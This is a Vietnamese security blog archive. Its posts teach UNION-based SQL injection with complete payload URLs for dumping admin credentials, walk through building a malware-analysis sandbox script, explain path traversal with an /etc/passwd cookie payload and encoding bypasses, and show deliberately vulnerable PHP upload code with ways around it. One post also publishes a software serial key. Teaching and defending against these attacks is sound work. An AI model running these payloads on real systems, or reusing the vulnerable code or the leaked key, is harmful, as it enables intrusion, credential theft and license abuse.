Archive

Archive for November, 2010

Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL


Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1
Thực hiện thêm dấu ‘ sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1’
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau:

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37

Đối tượng khai thác SQL Injection ở đây là “Basic PHP Events Lister 1.0”. Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì?
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau.
(Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được).
Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường.

Lần lượt mình thử:
http://seamoun.com/phpevents/event.php?id=1 order by 1
http://seamoun.com/phpevents/event.php?id=1 order by 2
http://seamoun.com/phpevents/event.php?id=1 order by 3

http://seamoun.com/phpevents/event.php?id=1 order by 15 (<– Vẫn OK)
http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)

Như vậy truy vấn SQL với URL trên là 15 trường (field)
Đến đây có thể điều tra phiên bản SQL, user với lệnh sau
http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1

http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1

Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như
manager, admin, administrator, systemlogin, … (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select … nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được.
Có thể đoán tên trường trong bảng admin như là username,uname,user, … pass, passwd, password, pword, …. (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau

http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu

http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với
2 trường uname và pword + tên bảng là admin
Thực hiện lệnh:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.

Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass

Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword.
0x3a—> dấu “:”. Concat sẽ thực hiện cộng chuỗi

Đến đây ta đã có thông tin uname và pword.
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau

Điều tra thông tin bảng:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables

Điều tra thông tin trường:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns

Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, … để không bị lỗi khi khai thác như:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin

Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0
Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL – Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.

Advertisements

Các bước xây dựng một Automatic Malware Analysis


I. Các bước xây dựng một Automatic Malware Analysis

I.1. Sử dụng một master script, script này sẽ chạy trên môi trường Linux và trên Linux có cài đặt sẵn WMWare có Windows XP SP2 (Sử dụng máy ảo này như một sandbox).

I.2. Trên Windows XP SP2 của máy ảo trong Linux nên chuẩn bị như sau:

Cấu hình IP Address tĩnh và để card mạng chỉ là Host-only

Tạo một thư mục chia sẻ VMWare để giao tiếp giữa Linux và WindowsXP

Đặt user và pass cho máy Windows XP

Firewall của Windows XP phải tắt

Windows XP Simple File Sharing nên tắt

Chuẩn bị công cụ SysInternal’s Process Monitor và RegShot, … có thể thêm công cụ phục vụ phân tích tùy thích.

Cài đặt AutoIT để cho kịch bản AutoIt có thể chạy được.

II. Triển khai ứng dụng

II.1. Cài đặt Backtrack trên hard disk

Sử dụng tiện ích ubiquity

II.2. Cài đặt VMWare Workstation trên Linux

Sử dụng phiên bản: VMware-Workstation-6.5.3-185404.i386.bundle

Số serial : MVDUJ-TF4DT-284DV-4W9Z7

II.3. Cấu hình network trên Linux và máy ảo Windows XP

Linux

eth0 ip: 192.168.1.234

vmnet1:192.168.32.1

Windows

Eth0 ip: 192.168.32.2

Gateway: 192.168.32.1

II.4. Cài đặt InetSim trên Linux

II.4.1. Giới thiệu

InetSim là một gói mà chứa các kịch bản Perl được sử dụng để mô phỏng các dịch vụ thông dụng như DNS, HTTP và FTP. Khi chạy, InetSim sẽ đợi những kết nối và log bất kỳ những gì mà nó nhận được trong định dạng log chuẩn, dễ đọc khi phân tích các kết nối ra ngoài của malware.

II.4.2. Cài đặt

Địa chỉ trang Web: http:/www.inetsim.org.

Xem yêu cầu cần thiết trước khi cài đặt InetSim: http://www.inetsim.org/requirements.html

Giải nén và cài đặt tại /usr/local/inetsim.

Tạo nhóm sử dụng cho InetSim

# groupadd inetsim

# ./setup.sh

Cấu hình

File cấu hình sẽ nằm tại thư mục sau: /usr/local/inetsim/conf/

Thiết lập hai tham số service_bind_address và dns_default_ip là địa chỉ của vmnet1.

II.5. Cài đặt Volatility Framework trên Linux

II.5.1. Giới thiệu

Để phục vụ cho việc Memory Analysis thì phải cần phải cài đặt Volatility Framework. Vì sao phải thực hiện Memory Analysis ? Bởi vì nhiều chương trình mã độc sử dụng packer để che dấu malware và làm khó khăn trong việc phân tích chúng. Tuy nhiên, packed malware phải unpacked trong bộ nhớ để thực thi. Bằng việc dumping một chương trình malware trong bộ nhớ, có thể kiểm tra nó mà không cần một packer.

Do chúng ta sử dụng máy ảo cho nên việc ngừng tạm thời hoạt động của máy ảo thì chúng ta có thể phân tích memory của máy ảo thông qua file có phần mở rộng là .vmem.

II.5.2. Cài đặt

Địa chỉ Volatility Framework: https://www.volatilesystems.com/default/volatility

II.6. Download PEiD và WinExe cho Linux

PeiD

Địa chỉ: http://blog.didierstevens.com/

WinExe

winexe thực hiện giống chức năng của chương trình psexec trên Windows, cho phép thực hiện lệnh từ xa.

Địa chỉ: http://eol.ovh.org/winexe/

II.7. Cài đặt AutoIt, Regshot, TCPView trên Windows

Cài đặt AutoIt

Địa chỉ: http://www.autoitscript.com/autoit3/

Cài đặt Regshot

Địa chỉ: http://sourceforge.net/projects/regshot

Cài đặt TCPView

Địa chỉ: http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx

Lưu ý: công cụ Regshot và TCPView được tải về và cài đặt tại cùng một thư mục sau: c:\tools\

Hiện tại demo chỉ hai công cụ, có thể tích hợp nhiều công cụ khác và khi đó chỉ cần thêm kịch bản chạy trong AutoIt.

III. Kịch bản trên Linux (analyze.sh)

III.1. Giải thích biến khởi tạo

Tên biến Mục dích
ANALYSIS_DIR Thư mục để chứa các report về malware, mỗi thư mục cấp dưới với md5 của malware là thư mục report về malware đã phân tích.
SHARED_FOLDER Thư mực sử dụng để chia sẻ malware cần phân tích giữa mỗi trường Linux và Windows. Malware sẽ được copy đến đây và từ đây sẽ map sang môi trường Windows.
INETSIM_DIR Thư mục cài đặt InetSim
VM_LOAD_TIMEOUT Biến sử dụng để định thời gian load của máy ảo, tùy thuộc vào khả năng load của máy ảo có thể tăng hoặc giảm thời gian timeout, đơn vị thời gian là giây
MALWARE_RUNTIME Là thời gian cho phép malware sẽ thực hiện trên máy ảo, đơn vị tính là giây
TIMEOUT Số lượng thời gian mà script sẽ đợi cho việc dynamic analysis hoàn tất
Một số biến khác sẽ rõ trong quá trình giải thích chi tiết kịch bản.

III.2. Giải thích chi tiết kịch bản

III.2.1. Giải thích một số đoạn kịch bản ban đầu

#Kiểm tra nếu như đối số 1 rỗng (tức không chỉ định malware cần phân tích) hoặc file đó không tồn tại và không đọc được thì thông báo và thoát

if [ ! -n “$1” -o ! -r “$1” ]

then

echo “Usage: ‘basename $0’ executable”

exit

fi

if [ ! -d ${SHARED_FOLDER} ]

then

mkdir -p ${SHARED_FOLDER}

fi

MALWARE=”$1″

MD5=`md5sum ${MALWARE} | awk ‘{print $1}’`

# Malware sẽ được đặt trong thư mục $ANALYSIS_DIR/$MD5 của nó.

if [ -d ${ANALYSIS_DIR}/${MD5} ] ; then

echo “${ANALYSIS_DIR}/${MD5} already exists. Exiting.”

exit

fi

OUTDIR=”${ANALYSIS_DIR}/${MD5}”

echo ${MALWARE} ${MD5} >> ${ANALYSIS_DIR}/records.txt

echo `date +”[%F %T]”` Starting analysis on ${MALWARE}.

echo `date +”[%F %T]”` Results will be placed in ${OUTDIR}

echo

mkdir ${OUTDIR}

REPORT=${OUTDIR}/${REPORT_NAME}

III.2.2. Giải thích phần Static Analysis

Trong kịch bản sử dụng dịch vụ của Team Cymru Hash Database. Ý nghĩa của dịch vụ này là gửi MD5 của malware cần phần tích đến dịch vụ và dịch vụ sẽ phản hồi lại: nếu như malware đó được được phát hiện thì nó sẽ hiển thị ngày giờ mà dịch vụ cập nhật và phần trăm phần mềm diệt virus diệt được nó.

Chi tiết về dịch vụ này có thể xem thêm tại:

http://www.team-cymru.org/Services/MHR/

# Static Analysis

echo -e “Analysis of ${MALWARE}\n” > ${REPORT}

echo “MD5 Hash: ${MD5}” >> ${REPORT}

echo “Team Cymru Hash Database:” >> ${REPORT}

whois -h hash.cymru.com ${MD5} >> ${REPORT}

# grab both ASCII and UNICODE strings from the sample

echo `date +”[%F %T]”` Running strings.

(strings -a -t x ${MALWARE}; strings -a -e l -t x ${MALWARE}) \

| sort > ${OUTDIR}/strings.txt

# run pecheck.py

echo `date +”[%F %T]”` Running pecheck.py.

python pecheck.py -d ${PEID_DB} ${MALWARE} > ${OUTDIR}/pecheck.txt

Tiếp theo là thực hiện grab các ASCII và UNION string có trong malware. Trong file thực thi của malware khi chúng ta thu thập các string này có thể giúp ích có một số thông tin về malware như : có thể địa chỉ URL mà malware có thể kết nối đến, các tài nguyên mà malware lấy, … Tuy nhiên việc thu thập này chỉ là phần phụ, nhỏ bởi hầu như các malware hiện nay đều được packed, do vậy string sẽ xuất hiện dưới dạng string không tường minh.

Đoạn mã thực hiện python pecheck.py, pecheck.py là một chương trình Python được viết bởi Didier Stevens để xuất thông tin PE header từ malware. Thông tin này sẽ rất hữu ích bởi vì nó cho biết malware được biên dịch khi nào, các phân đoạn thực thi và các hàm được import vào. Hơn nữa nó còn so sánh với PeiD database để biết được malware được pack bởi loại packer nào.

III.2.3. Khởi động InetSim

echo `date +”[%F %T]”` Starting InetSim.

CWD=`pwd`

mkdir -p ${OUTDIR}/inetsim

cd ${INETSIM_DIR}

sudo ./inetsim –session inetsim –config ${INETSIM_DIR}/conf/inetsim.conf \

–log-dir ${OUTDIR}/inetsim –report-dir ${OUTDIR} > /dev/null & cd ${CWD}

InetSim phải được chạy dưới quyền root, do vậy sử dụng lệnh sudo. Và ý nghĩa của các tham số như sau:

-session: chỉ định tên cho phiên làm việc.

-config: chỉ định nơi cấu hình được nạp.

-log-dir: chỉ định nơi log.

-report-dir: chỉ định nơi xuất ra report.

Sẽ có ba file log được tạo ra đó là debug.log, service.log và main.log. Ý nghĩa của main.log chỉ đề cập đến hoạt động của InetSim (những vấn đề liên quan đến hoạt động của InetSim). Phần chúng ta quan tâm đó là phần mà malware kết nối ra ngoài sẽ được lưu tại service.log.

III.2.4. Khởi động Tcpdump

echo `date +”[%F %T]”` Starting tcpdump.

sudo tcpdump -i vmnet1 -n -s 0 -w ${OUTDIR}/tcpdump.pcap &

TCPPID=`jobs -l | grep “sudo tcpdump” | awk ‘{ print $2 }’`

Tác dụng của TCPDump là một sniffer trên Linux, sử dụng nó để quan sát và ghi lại những hoạt động trao đổi của malware với môi trường ngoài, mà ở đây là Linux, do ta cấu hình Linux và Windows XP là Host-only, nên ta thực hiện sniff trên card vmnet1.

III.2.5. Khởi động VMWare

# Start up VMWare

# First we revert to our base snapshot

vmrun revertToSnapshot “/root/vmware/MalwareAnalysis/sandbox.vmx” base

# Then we start VMWare running

echo `date +”[%F %T]”` Starting VMWare.

vmrun start “/root/vmware/MalwareAnalysis/sandbox.vmx”

sleep ${VM_LOAD_TIMEOUT}

# Move the malware over to the sandbox

cp ${MALWARE} ${SHARED_FOLDER}/malware.exe

# Set up the share and execute the AutoIT script

echo `date +”[%F %T]”` Setting up network share.

winexe -U WORKGROUP/analysis%analysis –interactive=1 –system //192.168.32.2 ‘cmd /c net use z: \\192.168.32.1\malware’

echo `date +”[%F %T]”` Starting dynamic analysis script.

winexe -U WORKGROUP/analysis%analysis –interactive=1 –system //192.168.32.2 “c:\progra~1\autoit3\autoit3.exe c:\tools\scripts\analyze.au3  z:\malware.exe z:\ ${MALWARE_RUNTIME}”

sleep ${MALWARE_RUNTIME}

LOOP=0

echo `date +”[%F %T]”` Starting check for finished file.

# Check for finished file – if not there, wait

while [ ! -f ${SHARED_FOLDER}/_analysis_finished ] ; do

echo Checking…

sleep ${TIMEOUT}

LOOP=$(( $LOOP + 1 ))

if [ ${LOOP} -gt 5 ] ; then

echo `date +”[%F %T]”` ERROR: Sandbox is hung.

break;

fi

done

# Remove the share

echo `date +”[%F %T]”` Removing network share.

winexe -U WORKGROUP/analysis%analysis –interactive=1 –system //192.168.32.2 ‘cmd /c net use z: /delete’

# Stop the VMWare Image

echo `date +”[%F %T]”` Suspending VMWare.

vmrun suspend “/root/vmware/MalwareAnalysis/sandbox.vmx”

1)     Trước khi thực hiện chạy kịch bản ta cần phải Take SnapShot VMWare 1 lần và đặt tên nó là base.

2)     vmware revertToSnapShot “/root/vmware/MalwareAnalysis/sandbox.vmx” base sẽ đưa VMWare về trạng thái SnapShot mà chúng ta đã lưu. Cần phải làm như vậy bởi vì VMWare phải luôn đặt trong tình trạng chưa có bất kỳ malware nào thực hiện trước khi chép malware vào máy ảo phân tích.

3)     Khởi động VMWare và copy malware cần phân tích vào thư mục shared trên Linux.

4)     Sau khi khởi động xong máy ảo Windows XP SP2 (trước đó chúng ta đã tạo một user và pass là analysis) chúng ta sẽ thực hiện map thư mục chia sẻ trên Linux vào máy Windows XP. Lưu ý nếu trên Linux không thể chia sẻ được có thể do chưa cài dịch vụ Samba, do vậy cần phải cài dịch vụ Samba để Linux có thể chia sẻ file.

5)     Khởi động script analysis.au3 trên Windows XP để chạy kịch bản phân tích malware tự động trên Windows XP.

6)     Chờ đợi kết quả từ máy ảo Windows XP, việc chờ đợi sẽ kết thúc khi máy ảo Windows XP xuất file _analysis_finished.

7)     Sau khi kết thúc kịch bản analysis.au3 trên Windows XP thì sẽ gỡ bỏ map ổ đĩa trên Windows XP và suppend máy ảo.

III.2.6. Thực hiện Volatility trên Memory

# Run Volatility on memory

echo `date +”[%F %T]”` Starting Volatility psscan2.

python /usr/local/src/Volatility-1.3_Beta/volatility psscan2 -f “/root/vmware/MalwareAnalysis/sandbox.vmem” \

> ${OUTDIR}/volatility-psscan.txt

echo `date +”[%F %T]”` Starting Volatility connscan2.

python /usr/local/src/Volatility-1.3_Beta/volatility connscan2 -f “/root/vmware/MalwareAnalysis/sandbox.vmem” \

> ${OUTDIR}/volatility-connscan2.txt

echo `date +”[%F %T]”` Starting Volatility dlllist.

python /usr/local/src/Volatility-1.3_Beta/volatility dlllist -f “/root/vmware/MalwareAnalysis/sandbox.vmem” \

> ${OUTDIR}/volatility-dlllist.txt

echo `date +”[%F %T]”` Starting Volatility modscan2.

python /usr/local/src/Volatility-1.3_Beta/volatility modscan2 -f “/root/vmware/MalwareAnalysis/sandbox.vmem” \

> ${OUTDIR}/volatility-modscan2.txt

# Move Results

echo `date +”[%F %T]”` Cleaning up.

mv ${SHARED_FOLDER}/* ${OUTDIR}

1)     Sẽ thực hiện psscan2 module. Điều này rất hữu ích để phân tích các rootkit thường ẩn các tiến trình của malware trên hệ thống. Bằng việc truy vấn trực tiếp vào các danh sách tiến trình từ bộ nhớ, rootkit không thể ẩn tiến trình của chúng và người phân tích có thể quan sát một cách trực quan các tiến trình chạy trên hệ thống đã nhiễm malware.

2)     Tiếp đến sẽ thực hiện truy vấn các kết nối trên hệ thống bị nhiễm với connscan2 module. Bởi vì những kết nối cũng có thể ẩn bởi rootkit, do vậy truy vấn trực tiếp lấy những kết nối mạng từ bộ nhớ sẽ cho phép người phân tích thấy được những kết nối trong hệ thống bị nhiễm malware.

3)     Cuối cùng sẽ thực hiện xem thử những dll nào được nạp trong quá trình malware thực thi bằng cách sử dụng modscan2, bởi vì malware có thể tự nó nhiễm qua một tiến trình khác như là một DLL hoặc tự nó nạp, …

III.2.7. Kịch bản kết thúc quá trình phân tích

# Stop tcpdump. Since its running as root we need to sudo to kill it

if [ ! -z ${TCPPID} ]; then

sudo kill ${TCPPID}

fi

# Stop InetSim

if [ -f /var/run/inetsim.pid ] ; then

INETPID=`cat /var/run/inetsim.pid`

sudo kill ${INETPID} > /dev/null

wait ${INETPID}

fi

# check to see if malware.exe is in the outdir – if so, delete it

if [ -f ${OUTDIR}/malware.exe ]; then

rm -f ${OUTDIR}/malware.exe

fi

# Reset permissions on the files

sudo chown -R ${WHOAMI} ${OUTDIR}

echo `date +”[%F %T]”` Analysis finished.

THAM KHẢO

Tham khảo và có sửa đổi kịch bản của tác giả Tyler Hudak

Categories: Malware Analysis

Path Traversal


I. GIỚI THIỆU

Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot. Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, …

Để nhận biết khả năng khai thác lỗi này, các kẻ tấn công thường quan sát kết quả có được từ spider hoặc crawler mang lại. Quan sát khả năng khai thác Path Traversal ở đây là gì ?

Ví dụ kết quả trả về từ Spider hay Crawler có dạng sau:

Ngoài ra các bạn còn thấy nhiều dạng URL khác mà có “mùi” Path Traversal, các bạn tự hỏi làm sao biết được ? Trả lời: thông qua kinh nghiệm khi phân tích URL mà có được.

II. KHAI THÁC

Khi có được kết quả từ việc spider Website với các URL có dạng như trên, kẻ tấn công có thể sử dụng “../” để thử liệu có truy cập file và thư mục khác được không ? Ví dụ

Dựa vào thông báo lỗi từ Website kẻ tấn công biết được đường dẫn thực sự trên WebServer, từ đó có thể kết hợp với ../ (dot-dot-slash) để truy cập đến những file quan trong của Website như database, file cấu hình, …

Lưu ý rằng Path Traversal không chỉ xảy ra đối với các biến trong phương thức GET mà còn có thể xuất hiện trong các phương thức POST hoặc biến COOKIE.

Ví dụ: Một số website có thể sử dụng COOKIE để lưu template động cho Website như sau:

Cookie: ID= 2ddd73ef3620afc62cd6942c31bb6003:TEMPLATE=xpstyle
Cookie: USER=member1234:PSTYLE=Green

Như vậy kẻ tấn công có thể thay đổi COOKIE để thực hiện Path Traversal Attack như sau

Cookie: ID= 2ddd73ef3620afc62cd6942c31bb6003:TEMPLATE=xpstyle
Cookie: USER=member1234:PSTYLE=../../etc/passwd

Trong quá trình khai thác kẻ tấn công có thể encode hoặc double encode, sử dụng %00(null) để bypass filter mà Website đó áp dụng.

Ví dụ:

%2e%2e%2f mô tả cho ../
%2e%2e/ mô tả cho ../
..%2f mô tả cho ../
%2e%2e%5c mô tả cho ..\
%2e%2e\ mô tả cho ..\
..%5c mô tả cho ..\
%252e%252e%255c mô tả cho ..\
..%255c mô tả cho ..\
…

Đối với UTF-8
..%c0%af mô tả cho ../
..%c1%9c mô tả cho  ..\

Khi tiếp cận với một ứng dụng Web, việc kiểm tra nó có khả năng bị lỗi Path Traversal có thể được thực hiện bằng hai loại:

+ Nếu kẻ tấn công không thể có source thì chúng sẽ dùng spider, crawler để thực hiện kiểm tra Website và từ những kết quả mà spider mang lại chúng sẽ lần lượt kiểm tra các biến đối với các phương thức GET, POST hoặc COOKIE mà có khả năng bị lỗi.

+ Nếu kẻ tấn công có source code thì có thể tìm kiếm những hàm của những ngôn ngữ lập trình Web mà có khả năng gây ra lỗi Path Traversal như sau:

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
        JSP/Servlet: java.io.File(), java.io.FileReader(), ...
        ASP: include file, include virtual, ...

Demo khai thác Path Traversal (X7 Chat). Trong đoạn demo sau đây giả sử kẻ tấn công không biết source code của ứng dụng Web X7 Chat và thực hiện spider để kiểm tra nội dung Website.

III. PHÒNG CHỐNG

Việc phòng chống Path Traversal Attack phải thực hiện kiểm tra biến cẩn thận (có thể áp dụng filter) khi sử dụng các hàm đã giới thiệu ở trên mà có khả năng gây ra lỗi cho phép kẻ tấn công thực hiện Path Traversal. Tuy nhiên một số filter như

str_replace(“../”,””,$_GET[‘help_file’])

thì vẫn bị lỗi bởi lẽ kẻ tấn công có thể sử dụng “….//” như thế sau khi qua code lọc ở trên nó sẽ trở thành “../”. Rõ ràng việc lọc như vậy vẫn không triệt để. Thay vào đó các bạn nên sử dụng các biểu thức chính để lọc tốt hơn.

Ví dụ

eregi(“[\\/]”,”{$_GET[‘help_file’]}”)

Secure file upload in PHP WebApp


I. GIỚI THIỆU

Ứng dụng Web hỗ trợ cho phép người sử dụng thực hiện upload file lên server hiện tại có rất nhiều. Ví dụ như upload image(*.gif, *.jpg), *.pdf, *.doc, …Trong bài này seamoun sẽ trình bày một số lỗi khi lập trình file upload mà kẻ xấu có thể lợi dụng để upload những mã độc lên server. Những phương thức khai thác mà seamoun trình bày chỉ mang tính tham khảo không ủng hộ các bạn khai thác đối với những server bị mắc lỗi.

II. KHAI THÁC LỖI UPLOAD FILE

1) Trường hợp sử dụng JavaScript để kiểm tra file upload

Giả sử ta có kịch bản gồm 2 file như sau:

<html>

<title>Secure file upload PHP Web Applications</title>

<head>

<script language=javascript>

function chkFileExtension()

{

var str=document.upload.userfile.value;

var ext=str.substring(str.length,str.length-3);

if ( ext != “gif”)

{

alert(“File is invalid”);

return false;

}

else

{

return true;

};

}

</script>

</head>

<body>

<form name=”upload” action=”upload1.php” method=”POST” ENCTYPE=”multipart/form-data”  onSubmit=”return chkFileExtension()”>

Select the file to upload: <input type=”file” name=”userfile”>

<input type=”submit” name=”upload” value=”upload”>

</form>

</body>

</html>

Tên file: upload1.html

<?php

$uploaddir = ‘uploads/’;

$uploadfile = $uploaddir . basename($_FILES[‘userfile’][‘name’]);

if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploadfile)) {

echo “File was successfully uploaded.\n”;

} else {

echo “File uploading failed.\n”;

}

?>

Tên file: upload1.php

Ví dụ trên cho thấy người lập trình kiểm tra phần mở rộng file cho phép file upload bằng cách sử dụng một đoạn mã Javascript trong file upload1.html. Chỉ chấp nhận những file có phần mở rộng là *.gif thì mới được phép upload, cách này một kẻ tấn công dễ dàng vượt qua bằng cách sử dụng một intercepting proxy hoặc có thể viết một đoạn mã bằng Perl, Python,… mà đệ trình trực tiếp đến file upload1.php với những tham số cần thiết.

Trong demo sau seamoun sử dụng Burp Suite là một tool rất mạnh khi thực hiện Web Application. Có thể download tại :http://portswigger.net/

Demo: Lab1

Download file Lab1.rar

2) Trường hợp không sử dụng JavaScript để kiểm tra mà thực hiện kiểm tra trên server với đoạn mã sau:

<?php

if($_FILES[‘userfile’][‘type’] != “image/gif”) {

echo “Sorry, we only allow uploading GIF images”;

exit;

}

$uploaddir = ‘uploads/’;

$uploadfile = $uploaddir . basename($_FILES[‘userfile’][‘name’]);

if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploadfile)) {

echo “File is valid, and was successfully uploaded.\n”;

} else {

echo “File uploading failed.\n”;

}

?>

Tên file: upload2.php

Với đoạn mã trên người lập trình hy vọng ngăn chặn được kẻ tấn công upload file độc hại lên server bằng cách sử dụng kiểm tra type=image/gif. Tức là kiểu file cho phép upload ở đây chỉ có thể là file gif. Điều này cũng không an toàn bởi vì kẻ tấn công có thể thay đổi kiểu type=image/gif cho phù hợp với sự kiểm tra của đoạn mã trên nhưng nội dung vẫn chứa mã độc.

Demo: Lab2

Download file Lab2.rar

3) Trường hợp kiểm tra mime – kiểm tra phần nội dung của file upload với đoạn mã sau:

<?php

$imageinfo = getimagesize($_FILES[‘userfile’][‘tmp_name’]);

if($imageinfo[‘mime’] != ‘image/gif’ && $imageinfo[‘mime’] != ‘image/jpeg’) {

echo “Sorry, we only accept GIF and JPEG images\n”;

exit;

}

$uploaddir = ‘uploads/’;

$uploadfile = $uploaddir . basename($_FILES[‘userfile’][‘name’]);

if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploadfile)) {

echo “File is valid, and was successfully uploaded.\n”;

} else {

echo “File uploading failed.\n”;

}

?>

Tên file: upload3.php

Như vậy liệu có cải thiện hơn ? An toàn hơn ? Trả lời: có cái thiện hơn nhưng vẫn chưa an toàn. Mặc dù với đoạn mã trên kẻ tấn công không thực hiện thành công như ở Lab2, khi thay đổi type=image/gif vì lúc này người lập trình đã kiểm tra nội dung file upload có đúng là gif hay không ?. Nhưng nếu kẻ tấn công sử dụng một file gif và chèn mã độc vào thì thế nào ? Khai thác sẽ thành công !!!!

Demo: Lab3

Download file Lab3.rar

4) Trường hợp kiểm tra phần mở rộng của file trên server với đoạn mã sau:

<?php

$blacklist = array(“.php”, “.phtml”);

foreach ($blacklist as $item) {

if(preg_match(“/$item\$/i”, $_FILES[‘userfile’][‘name’])) {

echo “We do not allow uploading PHP files\n”;

exit;

}

}

$uploaddir = ‘uploads/’;

$uploadfile = $uploaddir . basename($_FILES[‘userfile’][‘name’]);

if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploadfile)) {

echo “File is valid, and was successfully uploaded.\n”;

} else {

echo “File uploading failed.\n”;

}

?>

Tên file: upload4.php

Như vậy với đoạn mã người lập trình đã ngăn chặn kẻ tấn công không thể upload file *.php lên server. Tuy nhiên trường hợp này cũng chưa an toàn với những server mà có cấu hình file *.gif, *.jpg cho phép xử lý PHP. Do vậy kẻ tấn công vẫn upload file gif, jpg lên server nhưng có chèn thêm mã độc vào.

III. CÁCH PHÒNG CHỐNG

Mấu chốt giải quyết vấn để làm thế nào an toàn trong file upload đó là lưu giữ file upload lên một nơi mà không thể truy cập bởi user thông qua URL. Điều này có thể thực hiện được bằng cách lưu file upload bên ngoài thưc mục webroot hoặc trên web server nhưng từ chối truy cập đến thư mục đó.

+ Tài liệu tham khảo: “Secure File Upload In PHP Web Applications – ScanIt

+ Công cụ sử dụng: Burp Suite (http://portswigger.net/ )

+ Tất cả file demo các bạn có thể download tại đây

Tấn công và phòng thủ hệ thống (Phần 4)


4) OS Fingerprinting

